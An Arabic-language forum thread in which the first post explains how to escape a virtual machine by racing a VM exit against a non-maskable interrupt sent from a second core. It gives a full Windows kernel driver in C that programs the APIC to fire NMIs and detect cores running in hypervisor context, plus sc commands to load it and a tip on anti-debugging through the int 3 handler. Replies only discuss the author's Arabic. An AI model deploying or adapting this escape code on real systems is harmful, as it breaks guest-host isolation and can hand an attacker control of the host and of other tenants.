تقييم الموضوع :
  • 0 أصوات - بمعدل 0
  • 1
  • 2
  • 3
  • 4
  • 5
هرب من virtual machine بستخدام Non-maskable interrupt
#1
كما تعلمون ال virtual machine هي محاولة ل عمل محاكات لل الجهاز لاكن هادا اخير يضل فيه الكتير من العيب ونقص 
كمتال بسيط انه بعض instructions لا تشتغل بشكل مطلوب وفي ما قبل ايام ال binary translation كان الكتير من instruction غير مدعومة 

ما هي non-maskable interrupt  هي interrupt لا تستطيع عمل لها mask متل power on rest حيت لا تستطيع ايقافها ب المعنى الحرفي 

معضم مطويري virtual machine يقومون باشيء لتسهيل عملهم كتمال بسيط هوا انه يعمل تشارك في IDT و PIC بين guest و host وهادا شي خطير نوعا ما ف ادا تمكنت من وصول لل kernel land في guest تستطيع تحكم في host 
لأن هادا اخير IDT هوا جدول يوجد به كل interrupt و handler تبعاها مادا لوا قما بتبديل handler خاصة ب interrupt تبع  mouse ب شيء متل print hello world كل مرة تقوم ب تحريك ال mouse رح ينطبع hello world هادا بس تبسيط للفهم فقط 
بنسبة لل PIC فهوا chipset في الكمبيوتر تقوم بمعالجة ال interrupts ولها configuration خاصة فيها وفي حالة وصول لهاده config وتعديل عليه فقد نسبب مشاكل متلا نبدل في priority  بين interrupts تبع timer و  disk controller نعمل لهم swap 
xD هادا رح يخربق كل شي على كل لا اريد ان اطيل عليكم 


كيف يشتغل هادا نوع من الهرب 

نحتاج ل guest يتوفر على 2 core سواء logical او physical لا يهم 

حيت سوف نقوم بعمل registration ل callback خاص ب عمل handling لل non-maskable interrupt
وبعدين سوف نقوم ب محاولة لجعل core 1 يطبق عملية vm_exit و في نفس الوقت سوف يرسل core 2  
interrupt من نوع non maskable مما سوف يدعنا ننفد ننفد handler في context خاص ب ال host لي في هاده الحالة vmm
 
 
#define _AMD64_
#include <ntddk.h>
#include <intrin.h>
 
#define X2_MSR_BASE 0x800
#define ICROffset 0x300
#define TO_X2( x ) ( x / 0x10 )
 
PVOID NMICallbackHandle = nullptr;
PVOID threadhandle = nullptr;
int escaped = 0;
void( *TriggerNMI )( UINT32, UINT32 ) = nullptr;
void *apicBase = nullptr;
 
BOOLEAN NMICallback( PVOID context, BOOLEAN handled )
{
size_t vmcslink = 0;
__try{
if( !__vmx_vmread( 0x00002800, &vmcslink ) ){
if( vmcslink != 0 )
_InterlockedOr( ( volatile LONG* )&escaped, ( 1 << KeGetCurrentProcessorIndex( ) ) );
}
}
__except( 1 ){
}
return TRUE;
}
 
void XTriggerNMI( UINT32 low, UINT32 high )
{
*( UINT32* )( ( uintptr_t )apicBase + ICROffset + 0x10 ) = high;
*( UINT32* )( ( uintptr_t )apicBase + ICROffset        ) = low;
}
 
void X2TriggerNMI( UINT32 low, UINT32 high )
{
__writemsr( X2_MSR_BASE + TO_X2( ICROffset ), ( ( UINT64 )high << 32 ) | low );
}
 
INT32 InitializeAPIC( void )
{
UINT64 apicBaseMSR = __readmsr( 0x1B );
if( !(apicBaseMSR & ( 1 << 11 ) ) )
return STATUS_FAILED_DRIVER_ENTRY;
if( apicBaseMSR & ( 1 << 10 ) ){
TriggerNMI = X2TriggerNMI;
return STATUS_FAILED_DRIVER_ENTRY;
}
else{
PHYSICAL_ADDRESS paAPICBase;
paAPICBase.QuadPart = apicBaseMSR & 0xFFFFFF000;
apicBase = MmMapIoSpace( paAPICBase, 0x1000, MmNonCached );
if( !apicBase )
return STATUS_FAILED_DRIVER_ENTRY;
TriggerNMI = XTriggerNMI;
}
return STATUS_SUCCESS;
}
ULONG_PTR IPIHandler( ULONG_PTR context )
{
if( escaped != ( 1 << KeNumberProcessors ) - 2 ){
if( KeGetCurrentProcessorIndex( ) != 0 ){
int cpuid[ 4 ] = { };
__cpuid( cpuid, 0 );
}
else{
TriggerNMI( ( 4 << 8 ) | ( 1 << 14 ) | ( 3 << 18 ), 0 );
}
}
else{
//really at this point we could just specifically interrupt core 0, but you can add that if you want
if( KeGetCurrentProcessorIndex( ) == 0 ){
int cpuid[ 4 ] = { };
__cpuid( cpuid, 0 );
}
else{
TriggerNMI( ( 4 << 8 ) | ( 1 << 14 ) | ( 3 << 18 ), 0 );
}
}
return 0;
}
 
void kthread( void* )
{
do{
KeIpiGenericCall( IPIHandler, 0 );
} while( escaped != ( ( 1 << KeNumberProcessors ) - 1 ) );
PsTerminateSystemThread( 0 );
}
 
void DriverUnload( PDRIVER_OBJECT object )
{
if( threadhandle ){
void* obj = nullptr;
if( NT_SUCCESS( ObReferenceObjectByHandle( threadhandle, THREAD_ALL_ACCESS, nullptr, KernelMode, &obj, nullptr ) ) ){
KeWaitForSingleObject( obj, Executive, KernelMode, FALSE, nullptr );
ObDereferenceObject( obj );
ZwClose( threadhandle );
}
}
if( NMICallbackHandle ) KeDeregisterNmiCallback( NMICallbackHandle );
if( apicBase ) MmUnmapIoSpace( apicBase, 0x1000 );
for( int i = 0; i < KeNumberProcessors; i++ ){
if( escaped & ( 1 << i ) )
DbgPrint( "Core %i escaped\n", i );
}
return;
}
 
NTSTATUS DriverEntry( PDRIVER_OBJECT object, PUNICODE_STRING path )
{
object->DriverUnload = DriverUnload;
InitializeAPIC( );
NMICallbackHandle = KeRegisterNmiCallback( NMICallback, nullptr );
if( !NMICallbackHandle )
return STATUS_FAILED_DRIVER_ENTRY;
return PsCreateSystemThread( &threadhandle, 0, 0, 0, 0, kthread, 0 );
}


اعمل له compile ب debug عشان تقدر تشوف output في Dbgview خاصة ب sysinternals على كل هاد شي لا ينطبق على 
vmm متل vmware و virtual box  و كبار لاكن قد تجده في handmade honeypot

على كل لعمل load لل driver 

sc create driverName type= kernel binPath= C:driver.sys

sc start driverName
بعدين  راقب في dbgview 

 
 
IDT : Interrupt Descriptor Table 
PIC: Interrupt Controller 8259,8259A,IOAPIC

اريد ان اشير لطريقة جميلة لل anti debug وهي تغير handler خاص ب int 3 في هاده الحالة نتكلم عن trap و ليس interrupt لاكن نفس شيء تقريبا
أعضاء أعجبوا بهذه المشاركة : samoray , mohamad , TeRcO
#2
المرجو، محاولة الكتابة بالعربية الفصحى بقدر الإمكان.
أعضاء أعجبوا بهذه المشاركة :
#3
جدا اسف مستواي ضعيف في العربية سوف احاول
أعضاء أعجبوا بهذه المشاركة : samoray
#4
لا بأس، إن كنت تجيد الإنجليزية فأرسل لي بالمقال وسأقوم بإذن الله تعالى بترجمته وإرساله لك، لنشره في الموقع.
أعضاء أعجبوا بهذه المشاركة : samoray


التنقل السريع :


يقوم بقرائة الموضوع: بالاضافة الى ( 1 ) ضيف كريم